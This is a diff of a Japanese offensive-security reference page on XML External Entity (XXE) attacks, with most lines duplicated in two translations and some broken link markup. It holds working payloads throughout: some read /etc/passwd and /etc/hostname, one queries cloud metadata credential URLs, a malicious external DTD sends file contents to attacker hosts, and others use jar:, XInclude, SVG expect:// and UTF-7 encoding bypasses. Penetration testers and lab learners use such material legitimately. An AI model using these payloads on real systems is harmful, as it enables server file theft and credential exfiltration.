- **文書型定義(DTD)**: DTDは、文書の構造とそれが含むデータの種類を定義するためにXMLで重要です。内部、外部、または組み合わせのいずれかであるDTDは、文書のフォーマットと検証方法を指示します。
|
||||
|
||||
- **カスタムおよび外部エンティティ**: XMLは、柔軟なデータ表現のためにDTD内でカスタムエンティティの作成をサポートします。URLで定義された外部エンティティは、特にXML External Entity(XXE)攻撃の文脈でセキュリティ上の懸念を引き起こします。これらはXMLパーサーが外部データソースを処理する方法を悪用するXXE攻撃に関連しています: `<!DOCTYPE foo [ <!ENTITY myentity "value" > ]>`
|
||||
|
||||
- **パラメータエンティティを使用したXXE検出**: 通常の方法がパーサーのセキュリティ対策により失敗した場合、XMLパラメータエンティティを利用してXXE脆弱性を検出することができます。これらのエンティティを使用すると、DNSルックアップをトリガーしたり、制御されたドメインにHTTPリクエストを送信したりするなど、帯域外検出技術を使用して脆弱性を確認できます。
|
||||
- **エンティティを通じたデータ表現**:XMLのエンティティは、`<`や`>`のような特殊文字を含むデータの表現を可能にし、これらは`<`や`>`に対応してXMLのタグシステムとの競合を避けます。
|
||||
- **XML要素の定義**:XMLは、要素の種類を定義し、要素がどのように構造化され、どのようなコンテンツを含むかを明確にします。任意の種類のコンテンツから特定の子要素まで含めることができます。
|
||||
- **Document Type Definition (DTD)**:DTDは、文書の構造とそれが含むデータの種類を定義するためにXMLで重要です。内部、外部、または組み合わせのDTDは、文書のフォーマットと検証方法を指示します。
|
||||
- **カスタムおよび外部エンティティ**:XMLは、柔軟なデータ表現のためにDTD内でカスタムエンティティの作成をサポートします。URLで定義された外部エンティティは、特にXML External Entity(XXE)攻撃の文脈でセキュリティ上の懸念を引き起こします。これらはXMLパーサーが外部データソースを処理する方法を悪用する攻撃です:`<!DOCTYPE foo [ <!ENTITY myentity "value" > ]>`
|
||||
- **パラメータエンティティを使用したXXEの検出**:通常の方法がパーサーのセキュリティ対策により失敗した場合、XMLパラメータエンティティを利用してXXEの脆弱性を検出することができます。これらのエンティティを使用すると、DNSルックアップのトリガーや制御されたドメインへのHTTPリクエストなどの帯域外検出技術を使用して、脆弱性を確認できます。
|
||||
- `<!DOCTYPE foo [ <!ENTITY ext SYSTEM "file:///etc/passwd" > ]>`
|
||||
- `<!DOCTYPE foo [ <!ENTITY ext SYSTEM "http://attacker.com" > ]>`
|
||||
|
||||
|
||||
## 主な攻撃
|
||||
|
||||
**[これらの攻撃のほとんどは、素晴らしいPortswiggers XEEラボを使用してテストされました: https://portswigger.net/web-security/xxe](https://portswigger.net/web-security/xxe)**
|
||||
[**これらの攻撃のほとんどは、素晴らしいPortswiggers XEEラボを使用してテストされました:https://portswigger.net/web-security/xxe**](https://portswigger.net/web-security/xxe)
|
||||
|
||||
### 新しいエンティティのテスト
|
||||
|
||||
|
@ -49,7 +43,7 @@ XMLは、データの格納と転送を目的としたマークアップ言語
|
|||
```
|
||||
### ファイルの読み取り
|
||||
|
||||
さまざまな方法で `/etc/passwd` を読み取ってみましょう。Windowsの場合は、`C:\windows\system32\drivers\etc\hosts` を読み取ることができます。
|
||||
さまざまな方法で `/etc/passwd` を読み取ってみましょう。Windows の場合は、`C:\windows\system32\drivers\etc\hosts` を読み取ることができます。
|
||||
|
||||
最初のケースでは、SYSTEM "_\*\*file:///\*\*etc/passwd_" も機能することに注意してください。
|
||||
```xml
|
||||
|
@ -57,7 +51,7 @@ XMLは、データの格納と転送を目的としたマークアップ言語
|
|||
<!DOCTYPE foo [<!ENTITY example SYSTEM "/etc/passwd"> ]>
|
||||
<data>&example;</data>
|
||||
```
|
||||
この2番目のケースは、ウェブサーバーがPHPを使用している場合にファイルを抽出するのに役立ちます(Portswiggers labsの場合ではありません)
|
||||
この2番目のケースは、WebサーバーがPHPを使用している場合にファイルを抽出するのに役立ちます(Portswiggers labsの場合ではありません)
|
||||
```xml
|
||||
<!--?xml version="1.0" ?-->
|
||||
<!DOCTYPE replace [<!ENTITY example SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd"> ]>
|
||||
|
@ -75,11 +69,9 @@ XMLは、データの格納と転送を目的としたマークアップ言語
|
|||
<storeId>1</storeId>
|
||||
</stockCheck3>
|
||||
```
|
||||
![](<../.gitbook/assets/image (222) (1).png>)
|
||||
|
||||
### ディレクトリリスト
|
||||
|
||||
**Java**ベースのアプリケーションでは、次のようなペイロードを使用して、XXEを介してディレクトリの内容をリストアップすることができるかもしれません(ファイルではなくディレクトリを要求するだけです):
|
||||
**Java**ベースのアプリケーションでは、次のようなペイロードを使用してXXEを介してディレクトリの内容をリストアップすることができるかもしれません(ファイルではなくディレクトリを要求するだけです):
|
||||
```xml
|
||||
<!-- Root / -->
|
||||
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE aa[<!ELEMENT bb ANY><!ENTITY xxe SYSTEM "file:///">]><root><foo>&xxe;</foo></root>
|
||||
|
@ -89,7 +81,7 @@ XMLは、データの格納と転送を目的としたマークアップ言語
|
|||
```
|
||||
### SSRF
|
||||
|
||||
XXEを使用して、クラウド内のSSRFを悪用することができます。
|
||||
XXEを使用してクラウド内のSSRFを悪用することができます
|
||||
```xml
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/admin"> ]>
|
||||
|
@ -103,13 +95,14 @@ XXEを使用して、クラウド内のSSRFを悪用することができます
|
|||
<!DOCTYPE test [ <!ENTITY % xxe SYSTEM "http://gtd8nhwxylcik0mt2dgvpeapkgq7ew.burpcollaborator.net"> %xxe; ]>
|
||||
<stockCheck><productId>3;</productId><storeId>1</storeId></stockCheck>
|
||||
```
|
||||
### "Blind" SSRF - データの外部への持ち出し
|
||||
### "Blind" SSRF - データの外部への送信
|
||||
|
||||
**この場合、サーバーに悪意のあるペイロードを含む新しいDTDを読み込ませ、ファイルの内容をHTTPリクエストを介して送信させます(複数行のファイルの場合は** _**ftp://**_**を介して持ち出すこともできます)。この説明は** [**こちらのPortswiggerのラボ**](https://portswigger.net/web-security/xxe/blind)**に基づいています。**
|
||||
**この場合、サーバーに悪意のあるペイロードを含む新しいDTDを読み込ませ、ファイルの内容をHTTPリクエストを介して送信します(**複数行のファイルの場合は、例えばこの基本サーバーを使用して** _**ftp://**_ 経由でそれを外部に送信することができます [**xxe-ftp-server.rb**](https://github.com/ONsec-Lab/scripts/blob/master/xxe-ftp-server.rb)**)。この説明は** [**Portswiggers lab here**](https://portswigger.net/web-security/xxe/blind)**に基づいています。**
|
||||
|
||||
与えられた悪意のあるDTDでは、データを持ち出すために以下の手順が実行されます:
|
||||
悪意のあるDTDでは、データを外部に送信するために次の手順が実行されます:
|
||||
|
||||
### 悪意のあるDTDの例:
|
||||
|
||||
構造は以下の通りです:
|
||||
```xml
|
||||
<!ENTITY % file SYSTEM "file:///etc/hostname">
|
||||
|
@ -120,22 +113,22 @@ XXEを使用して、クラウド内のSSRFを悪用することができます
|
|||
以下は、このDTDによって実行される手順です:
|
||||
|
||||
1. **パラメータエンティティの定義:**
|
||||
- XMLパラメータエンティティ `%file` が作成され、`/etc/hostname` ファイルの内容を読み込みます。
|
||||
- 別のXMLパラメータエンティティ `%eval` が定義されます。これは新しいXMLパラメータエンティティ `%exfiltrate` を動的に宣言します。`%exfiltrate` エンティティは、URLのクエリ文字列内で `%file` エンティティの内容を渡すように設定されます。
|
||||
|
||||
* XMLパラメータエンティティ `%file` が作成され、`/etc/hostname` ファイルの内容を読み込みます。
|
||||
* 別のXMLパラメータエンティティ `%eval` が定義されます。これは新しいXMLパラメータエンティティ `%exfiltrate` を動的に宣言します。`%exfiltrate` エンティティは、`%file` エンティティの内容をURLのクエリ文字列内で攻撃者のサーバーにHTTPリクエストするように設定されます。
|
||||
2. **エンティティの実行:**
|
||||
- `%eval` エンティティが使用され、`%exfiltrate` エンティティの動的宣言が実行されます。
|
||||
- 次に `%exfiltrate` エンティティが使用され、ファイルの内容を含めた指定されたURLにHTTPリクエストがトリガーされます。
|
||||
* `%eval` エンティティが使用され、`%exfiltrate` エンティティの動的宣言が実行されます。
|
||||
* 次に `%exfiltrate` エンティティが使用され、ファイルの内容を含めた指定されたURLにHTTPリクエストがトリガーされます。
|
||||
|
||||
攻撃者は、通常 `http://web-attacker.com/malicious.dtd` のようなURLで、この悪意のあるDTDを自分の管理下のサーバーにホストします。
|
||||
攻撃者は、この悪意のあるDTDを通常 `http://web-attacker.com/malicious.dtd` のようなURLで自分の管理下のサーバーにホストします。
|
||||
|
||||
**XXEペイロード:**
|
||||
脆弱なアプリケーションを悪用するために、攻撃者はXXEペイロードを送信します:
|
||||
**XXEペイロード:** 脆弱なアプリケーションを悪用するために、攻撃者はXXEペイロードを送信します:
|
||||
```xml
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://web-attacker.com/malicious.dtd"> %xxe;]>
|
||||
<stockCheck><productId>3;</productId><storeId>1</storeId></stockCheck>
|
||||
```
|
||||
このペイロードはXMLパラメータエンティティ`%xxe`を定義し、それをDTD内に組み込みます。XMLパーサーによって処理されると、このペイロードは攻撃者のサーバーから外部DTDを取得します。その後、パーサーはDTDをインラインで解釈し、悪意のあるDTDに記載された手順を実行し、`/etc/hostname`ファイルを攻撃者のサーバーに外部流出させます。
|
||||
|
||||
### エラーベース(外部DTD)
|
||||
|
||||
**この場合、サーバーに悪意のあるDTDを読み込ませ、ファイルの内容をエラーメッセージ内に表示させます(エラーメッセージを見ることができる場合にのみ有効です)。** [**こちらの例から。**](https://portswigger.net/web-security/xxe/blind)
|
||||
|
@ -155,11 +148,11 @@ XXEを使用して、クラウド内のSSRFを悪用することができます
|
|||
```
|
||||
### **エラーベース(system DTD)**
|
||||
|
||||
では、**アウトオブバンドインタラクションがブロックされている**(外部接続が利用できない)場合の盲目的なXXE脆弱性はどうなるのでしょうか。
|
||||
では、**アウトオブバンドインタラクションがブロックされている**場合の盲目的なXXE脆弱性はどうでしょうか?。
|
||||
|
||||
XML言語仕様の抜け穴により、**ドキュメントのDTDが内部と外部の宣言を混在させたときにエラーメッセージを通じて機密データが公開**される可能性があります。この問題により、外部で宣言されたエンティティを内部で再定義することが可能となり、エラーベースのXXE攻撃を実行できます。このような攻撃は、外部DTDで元々宣言されたXMLパラメータエンティティを内部DTD内から再定義することを利用します。サーバーによってアウトオブバンド接続がブロックされている場合、攻撃者は攻撃を実行するためにローカルDTDファイルに頼る必要があり、パーシングエラーを誘発して機密情報を明らかにします。
|
||||
XML言語仕様の抜け穴により、**ドキュメントのDTDが内部および外部の宣言を混在させたときにエラーメッセージを通じて機密データが公開**される可能性があります。この問題により、外部で宣言されたエンティティを内部で再定義することが可能となり、エラーベースのXXE攻撃を実行できます。このような攻撃は、外部DTDで元々宣言されたXMLパラメータエンティティを内部DTD内から再定義することを利用します。サーバーによってアウトオブバンド接続がブロックされている場合、攻撃者は攻撃を実行するためにローカルDTDファイルに依存する必要があり、パーシングエラーを誘発して機密情報を明らかにすることを目指します。
|
||||
|
||||
サーバーのファイルシステムに`/usr/local/app/schema.dtd`にあるDTDファイルが存在し、`custom_entity`というエンティティが定義されているとします。攻撃者は、次のようにハイブリッドDTDを送信することで、`/etc/passwd`ファイルの内容を明らかにするXMLパーシングエラーを誘発することができます:
|
||||
サーバーのファイルシステムに`/usr/local/app/schema.dtd`にあるDTDファイルが含まれており、`custom_entity`というエンティティが定義されているとします。攻撃者は、次のようにハイブリッドDTDを送信することで、`/etc/passwd`ファイルの内容を明らかにするXMLパーシングエラーを誘発することができます:
|
||||
```xml
|
||||
<!DOCTYPE foo [
|
||||
<!ENTITY % local_dtd SYSTEM "file:///usr/local/app/schema.dtd">
|
||||
|
@ -174,12 +167,11 @@ XML言語仕様の抜け穴により、**ドキュメントのDTDが内部と外
|
|||
```
|
||||
以下の手順は、このDTDによって実行されます:
|
||||
|
||||
- `local_dtd` という名前のXMLパラメータエンティティの定義に、サーバーのファイルシステムにある外部DTDファイルが含まれています。
|
||||
- 外部DTDで元々定義されていた `custom_entity` XMLパラメータエンティティの再定義が行われ、[エラーベースのXXE攻撃](https://portswigger.net/web-security/xxe/blind#exploiting-blind-xxe-to-retrieve-data-via-error-messages)をカプセル化するように設計されています。この再定義は、`/etc/passwd` ファイルの内容を公開するためにパースエラーを引き起こすことを目的としています。
|
||||
- `local_dtd` エンティティを使用することで、外部DTDが参照され、新しく定義された `custom_entity` が含まれます。これらのアクションの連続により、攻撃によって狙われるエラーメッセージが発生します。
|
||||
* `local_dtd` という名前のXMLパラメータエンティティの定義に、サーバーのファイルシステムにある外部DTDファイルが含まれています。
|
||||
* 外部DTDで元々定義されていた `custom_entity` XMLパラメータエンティティの再定義が行われ、[エラーベースのXXE攻撃](https://portswigger.net/web-security/xxe/blind#exploiting-blind-xxe-to-retrieve-data-via-error-messages)をカプセル化するように設計されています。この再定義は、`/etc/passwd` ファイルの内容を公開するためにパースエラーを引き起こすようになっています。
|
||||
* `local_dtd` エンティティを使用することで、外部DTDが参照され、新しく定義された `custom_entity` が含まれます。これらのアクションの連続により、攻撃で狙われるエラーメッセージが発生します。
|
||||
|
||||
|
||||
**実際の例:** GNOMEデスクトップ環境を使用しているシステムでは、`/usr/share/yelp/dtd/docbookx.dtd` にDTDがあり、`ISOamso` というエンティティが含まれています。
|
||||
**実際の例:** GNOMEデスクトップ環境を使用しているシステムでは、`/usr/share/yelp/dtd/docbookx.dtd` に `ISOamso` というエンティティが含まれています。
|
||||
```xml
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<!DOCTYPE foo [
|
||||
|
@ -221,43 +213,43 @@ Testing 0 entities : []
|
|||
[=] Found a DTD: /tomcat/lib/servlet-api.jar!/jakarta/servlet/resources/XMLSchema.dtd
|
||||
Testing 0 entities : []
|
||||
```
|
||||
### Office Open XML パーサーを介した XXE
|
||||
### XXEを介したOffice Open XMLパーサー
|
||||
|
||||
この攻撃の詳細については、Detectify の[この素晴らしい投稿](https://labs.detectify.com/2021/09/15/obscure-xxe-attacks/)の第二セクションを参照してください。
|
||||
この攻撃の詳細な説明については、[Detectifyの素晴らしい投稿](https://labs.detectify.com/2021/09/15/obscure-xxe-attacks/)の2番目のセクションをご覧ください。
|
||||
|
||||
多くの Web アプリケーションが**Microsoft Office ドキュメントのアップロード機能**を提供しており、その後これらのドキュメントから特定の詳細を抽出します。たとえば、Web アプリケーションがユーザーが XLSX 形式のスプレッドシートをアップロードしてデータをインポートすることを許可するかもしれません。パーサーがスプレッドシートからデータを抽出するためには、少なくとも 1 つの XML ファイルを解析する必要があります。
|
||||
多くのWebアプリケーションがMicrosoft Officeドキュメントのアップロード機能を提供しており、これらのドキュメントから特定の詳細を抽出します。たとえば、Webアプリケーションは、ユーザーがXLSX形式のスプレッドシートをアップロードしてデータをインポートすることを許可するかもしれません。パーサーがスプレッドシートからデータを抽出するためには、少なくとも1つのXMLファイルを解析する必要があります。
|
||||
|
||||
この脆弱性をテストするには、**XXE ペイロードを含む Microsoft Office ファイルを作成する**必要があります。最初のステップは、ドキュメントを解凍できる空のディレクトリを作成することです。
|
||||
この脆弱性をテストするためには、XXEペイロードを含むMicrosoft Officeファイルを作成する必要があります。最初のステップは、ドキュメントを解凍できる空のディレクトリを作成することです。
|
||||
|
||||
ドキュメントを解凍した後、`./unzipped/word/document.xml` にある XML ファイルを好みのテキストエディター(たとえば vim)で開いて編集する必要があります。XML を編集して、通常は HTTP リクエストから始まる所望の XXE ペイロードを含める必要があります。
|
||||
ドキュメントを解凍した後、`./unzipped/word/document.xml`にあるXMLファイルを好みのテキストエディタ(たとえばvim)で開いて編集する必要があります。 XMLを変更して、通常はHTTPリクエストで始まる所望のXXEペイロードを含める必要があります。
|
||||
|
||||
変更された XML 行は、2 つのルート XML オブジェクトの間に挿入する必要があります。リクエスト用の監視可能な URL で URL を置換することが重要です。
|
||||
変更されたXML行は、2つのルートXMLオブジェクトの間に挿入する必要があります。リクエスト用の監視可能なURLでURLを置換することが重要です。
|
||||
|
||||
最後に、ファイルを zip 圧縮して悪意のある poc.docx ファイルを作成できます。以前に作成した "unzipped" ディレクトリから、次のコマンドを実行する必要があります:
|
||||
|
||||
これで、作成したファイルを潜在的に脆弱な Web アプリケーションにアップロードし、Burp Collaborator ログにリクエストが表示されることを期待できます。
|
||||
最後に、悪意のあるpoc.docxファイルを作成するためにファイルを圧縮することができます。以前に作成した「unzipped」ディレクトリから、次のコマンドを実行する必要があります:
|
||||
|
||||
これで、作成したファイルを潜在的に脆弱なWebアプリケーションにアップロードし、Burp Collaboratorログにリクエストが表示されることを期待できます。
|
||||
|
||||
### Jar: プロトコル
|
||||
|
||||
**jar** プロトコルは、**Java アプリケーション**内でのみアクセス可能です。これは、**PKZIP** アーカイブ(たとえば `.zip`、`.jar` など)内のファイルアクセスを可能にするよう設計されており、ローカルおよびリモートファイルの両方に対応しています。
|
||||
**jar**プロトコルは、**Javaアプリケーション内でのみアクセス可能**です。これは、**PKZIP**アーカイブ(例:`.zip`、`.jar`など)内のファイルアクセスを可能にするよう設計されており、ローカルおよびリモートファイルの両方に対応しています。
|
||||
```
|
||||
jar:file:///var/myarchive.zip!/file.txt
|
||||
jar:https://download.host.com/myarchive.zip!/file.txt
|
||||
```
|
||||
{% hint style="danger" %}
|
||||
PKZIPファイル内のファイルにアクセスできると、**system DTDファイルを介したXXEの悪用が非常に便利**です。[こちらのセクションをチェックして、system DTDファイルの悪用方法を学びましょう](xxe-xee-xml-external-entity.md#error-based-system-dtd)。
|
||||
PKZIPファイル内のファイルにアクセスできると、**system DTDファイルを介したXXEの悪用に非常に役立ちます。** [このセクションをチェックして、system DTDファイルを悪用する方法を学びます](xxe-xee-xml-external-entity.md#error-based-system-dtd)。
|
||||
|
||||
{% endhint %}
|
||||
|
||||
PKZIPアーカイブ内のファイルにアクセスするプロセスは、jarプロトコルを介して行われます。その手順は次のとおりです:
|
||||
PKZIPアーカイブ内のファイルにアクセスするプロセスは、jarプロトコルを介していくつかのステップが関与します:
|
||||
|
||||
1. 指定された場所からzipアーカイブをダウンロードするためにHTTPリクエストが行われます。例:`https://download.website.com/archive.zip`。
|
||||
2. アーカイブを含むHTTPレスポンスは一時的にシステムに保存され、通常は`/tmp/...`のような場所に保存されます。
|
||||
3. アーカイブは解凍され、その内容にアクセスできます。
|
||||
3. アーカイブは展開され、その内容にアクセスできます。
|
||||
4. アーカイブ内の特定のファイル、`file.zip`が読み取られます。
|
||||
5. このプロセス中に作成された一時ファイルは削除されます。
|
||||
5. このプロセス中に作成された一時ファイルは、操作後に削除されます。
|
||||
|
||||
このプロセスを第2ステップで中断させる興味深いテクニックは、アーカイブファイルを提供する際にサーバー接続を無期限にオープンに保つことです。この目的のために利用できるツールには、Pythonサーバー(`slow_http_server.py`)やJavaサーバー(`slowserver.jar`)などが含まれています。[このリポジトリ](https://github.com/GoSecure/xxe-workshop/tree/master/24_write_xxe/solution)で利用可能です。
|
||||
このプロセスを第2ステップで中断させる興味深いテクニックは、アーカイブファイルを提供する際にサーバー接続を無期限にオープンに保つことです。この目的のために利用できるツールは、[このリポジトリ](https://github.com/GoSecure/xxe-workshop/tree/master/24\_write\_xxe/solution)にあり、Pythonサーバー(`slow_http_server.py`)やJavaサーバー(`slowserver.jar`)が含まれています。
|
||||
```xml
|
||||
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "jar:http://attacker.com:8080/evil.zip!/evil.dtd">]>
|
||||
<foo>&xxe;</foo>
|
||||
|
@ -315,9 +307,9 @@ Responder.py -I eth0 -v
|
|||
|
||||
### XInclude
|
||||
|
||||
サーバーサイドのXMLドキュメントにクライアントデータを統合する際、バックエンドのSOAPリクエストなどで、XML構造に直接制御が制限されることがよくあり、`DOCTYPE`要素の変更に制限があるため、従来のXXE攻撃が妨げられることがあります。しかし、`XInclude`攻撃は、XMLドキュメントの任意のデータ要素内に外部エンティティを挿入することを可能にするため、解決策を提供します。この方法は、サーバーが生成したXMLドキュメント内のデータの一部しか制御できない場合でも効果的です。
|
||||
サーバーサイドのXMLドキュメントにクライアントデータを統合する際、バックエンドのSOAPリクエストなどで、XML構造を直接制御することが制限されることがよくあり、`DOCTYPE`要素の変更に制限があるため、従来のXXE攻撃が妨げられることがあります。しかし、`XInclude`攻撃は、XMLドキュメントの任意のデータ要素内に外部エンティティを挿入することを可能にするため、解決策を提供します。この方法は、サーバーが生成したXMLドキュメント内のデータの一部しか制御できない場合でも効果的です。
|
||||
|
||||
`XInclude`攻撃を実行するには、`XInclude`名前空間を宣言し、意図した外部エンティティのファイルパスを指定する必要があります。以下は、そのような攻撃をどのように構築できるかを簡潔に示した例です。
|
||||
`XInclude`攻撃を実行するには、`XInclude`名前空間を宣言し、意図した外部エンティティのファイルパスを指定する必要があります。以下は、そのような攻撃をどのように構築できるかを簡潔に示した例です:
|
||||
```xml
|
||||
productId=<foo xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include parse="text" href="file:///etc/passwd"/></foo>&storeId=1
|
||||
```
|
||||
|
@ -327,9 +319,9 @@ Check [https://portswigger.net/web-security/xxe](https://portswigger.net/web-sec
|
|||
|
||||
特定のアプリケーションにユーザーがアップロードしたファイルは、サーバーで処理されることがあり、XMLやXMLを含むファイル形式の処理方法における脆弱性を悪用する可能性があります。オフィス文書(DOCX)や画像(SVG)などの一般的なファイル形式は、XMLに基づいています。
|
||||
|
||||
ユーザーが**画像をアップロード**すると、これらの画像はサーバーサイドで処理または検証されます。PNGやJPEGなどの形式を期待しているアプリケーションでも、**サーバーの画像処理ライブラリはSVG画像もサポート**しているかもしれません。XMLベースのフォーマットであるSVGは、攻撃者が悪意のあるSVG画像を送信して、サーバーをXXE(XML External Entity)の脆弱性にさらすことができます。
|
||||
ユーザーが**画像をアップロード**すると、これらの画像はサーバーサイドで処理または検証されます。PNGやJPEGなどの形式を期待しているアプリケーションでも、**サーバーの画像処理ライブラリがSVG画像をサポート**している可能性があります。XMLベースのフォーマットであるSVGは、攻撃者が悪意のあるSVG画像を送信して、サーバーをXXE(XML External Entity)の脆弱性にさらすことができます。
|
||||
|
||||
以下に、悪意のあるSVG画像がシステムファイルを読み取ろうとする例が示されています:
|
||||
以下に、悪意のあるSVG画像がシステムファイルを読み取ろうとする例が示されています。
|
||||
```xml
|
||||
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="300" version="1.1" height="200"><image xlink:href="file:///etc/hostname"></image></svg>
|
||||
```
|
||||
|
@ -339,7 +331,7 @@ Check [https://portswigger.net/web-security/xxe](https://portswigger.net/web-sec
|
|||
<image xlink:href="expect://ls"></image>
|
||||
</svg>
|
||||
```
|
||||
両方のインスタンスで、SVG形式が使用され、サーバーソフトウェアのXML処理機能を悪用する攻撃が実行され、堅牢な入力検証とセキュリティ対策の必要性が強調されています。
|
||||
両方のインスタンスで、SVG形式が使用され、サーバーソフトウェアのXML処理機能を悪用する攻撃が発生し、堅牢な入力検証とセキュリティ対策の必要性が強調されています。
|
||||
|
||||
詳細については、[https://portswigger.net/web-security/xxe](https://portswigger.net/web-security/xxe) をチェックしてください!
|
||||
|
||||
|
@ -369,9 +361,9 @@ Content-Length: 52
|
|||
|
||||
<?xml version="1.0" encoding="UTF-8"?><foo>bar</foo>
|
||||
```
|
||||
### Content-Type: JSONからXEEへ
|
||||
### Content-Type: JSON から XEE へ
|
||||
|
||||
リクエストを変更するには、「**Content Type Converter**」というBurp Extensionを使用できます。[こちら](https://exploitstube.com/xxe-for-fun-and-profit-converting-json-request-to-xml.html)にこの例があります。
|
||||
リクエストを変更するには、「**Content Type Converter**」という Burp 拡張機能を使用できます。[こちら](https://exploitstube.com/xxe-for-fun-and-profit-converting-json-request-to-xml.html)にこの例があります。
|
||||
```xml
|
||||
Content-Type: application/json;charset=UTF-8
|
||||
|
||||
|
@ -407,11 +399,11 @@ Content-Type: application/xml;charset=UTF-8
|
|||
```xml
|
||||
<!DOCTYPE test [ <!ENTITY % init SYSTEM "data://text/plain;base64,ZmlsZTovLy9ldGMvcGFzc3dk"> %init; ]><foo/>
|
||||
```
|
||||
これは、XMLサーバーが`data://`プロトコルを受け入れる場合にのみ機能します。
|
||||
|
||||
### UTF-7
|
||||
|
||||
XMLサーバーが`data://`プロトコルを受け入れる場合のみ機能します。
|
||||
|
||||
\[**"Encode Recipe**" of cyberchef here ]\(\[[https://gchq.github.io/CyberChef/#recipe=Encode\_text%28'UTF-7](https://gchq.github.io/CyberChef/#recipe=Encode\_text%28'UTF-7) %2865000%29'%29\&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4)to]\([https://gchq.github.io/CyberChef/#recipe=Encode\_text%28'UTF-7 %2865000%29'%29\&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4%29to](https://gchq.github.io/CyberChef/#recipe=Encode\_text%28%27UTF-7%20%2865000%29%27%29\&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4%29to)) でUTF-7に変換します。
|
||||
\[**"Encode Recipe**" of cyberchef here ]\([https://gchq.github.io/CyberChef/#recipe=Encode\_text%28'UTF-7 %2865000%29'%29\&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4)to]([https://gchq.github.io/CyberChef/#recipe=Encode\_text%28'UTF-7 %2865000%29'%29\&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4%29to))でUTF-7に変換できます。
|
||||
```xml
|
||||
<!xml version="1.0" encoding="UTF-7"?-->
|
||||
+ADw-+ACE-DOCTYPE+ACA-foo+ACA-+AFs-+ADw-+ACE-ENTITY+ACA-example+ACA-SYSTEM+ACA-+ACI-/etc/passwd+ACI-+AD4-+ACA-+AF0-+AD4-+AAo-+ADw-stockCheck+AD4-+ADw-productId+AD4-+ACY-example+ADs-+ADw-/productId+AD4-+ADw-storeId+AD4-1+ADw-/storeId+AD4-+ADw-/stockCheck+AD4-
|
||||
|
@ -423,17 +415,17 @@ XMLサーバーが`data://`プロトコルを受け入れる場合のみ機能
|
|||
+ADwAIQ-ENTITY xxe SYSTEM +ACI-http://hack-r.be:1337+ACI +AD4AXQA+
|
||||
+ADw-foo+AD4AJg-xxe+ADsAPA-/foo+AD4
|
||||
```
|
||||
### ファイル:/ プロトコル バイパス
|
||||
### ファイル:/ プロトコルバイパス
|
||||
|
||||
Web が PHP を使用している場合、`file:/` の代わりに **php wrappers**`php://filter/convert.base64-encode/resource=` を使用して **内部ファイルにアクセス** できます。
|
||||
WebがPHPを使用している場合、`file:/`の代わりに**php wrappers**`php://filter/convert.base64-encode/resource=`を使用して**内部ファイルにアクセス**できます。
|
||||
|
||||
Web が Java を使用している場合は、[**jar: プロトコル**](xxe-xee-xml-external-entity.md#jar-protocol) をチェックできます。
|
||||
WebがJavaを使用している場合は、[**jar:プロトコル**](xxe-xee-xml-external-entity.md#jar-protocol)をチェックできます。
|
||||
|
||||
### HTML エンティティ
|
||||
### HTMLエンティティ
|
||||
|
||||
[**https://github.com/Ambrotd/XXE-Notes**](https://github.com/Ambrotd/XXE-Notes) からのトリック\
|
||||
**エンティティ内にエンティティ** を作成し、**html エンティティ** でエンコードしてからそれを呼び出して **dtd を読み込む** ことができます。\
|
||||
使用される **HTML エンティティ** は **数値** である必要があることに注意してください(この例のように)。
|
||||
[**https://github.com/Ambrotd/XXE-Notes**](https://github.com/Ambrotd/XXE-Notes)からのトリック\
|
||||
**エンティティ内にエンティティ**を作成し、**htmlエンティティ**でエンコードしてから**dtdをロード**することができます。\
|
||||
使用される**HTMLエンティティ**は**数値**である必要があることに注意してください(この例のように\[in this example]\([https://gchq.github.io/CyberChef/#recipe=To\_HTML\_Entity%28true,'Numeric entities'%29\&input=PCFFTlRJVFkgJSBkdGQgU1lTVEVNICJodHRwOi8vMTcyLjE3LjAuMTo3ODc4L2J5cGFzczIuZHRkIiA%2B)\\](https://gchq.github.io/CyberChef/#recipe=To\_HTML\_Entity%28true,%27Numeric%20entities%27%29\&input=PCFFTlRJVFkgJSBkdGQgU1lTVEVNICJodHRwOi8vMTcyLjE3LjAuMTo3ODc4L2J5cGFzczIuZHRkIiA%2B\)%5C)).
|
||||
```xml
|
||||
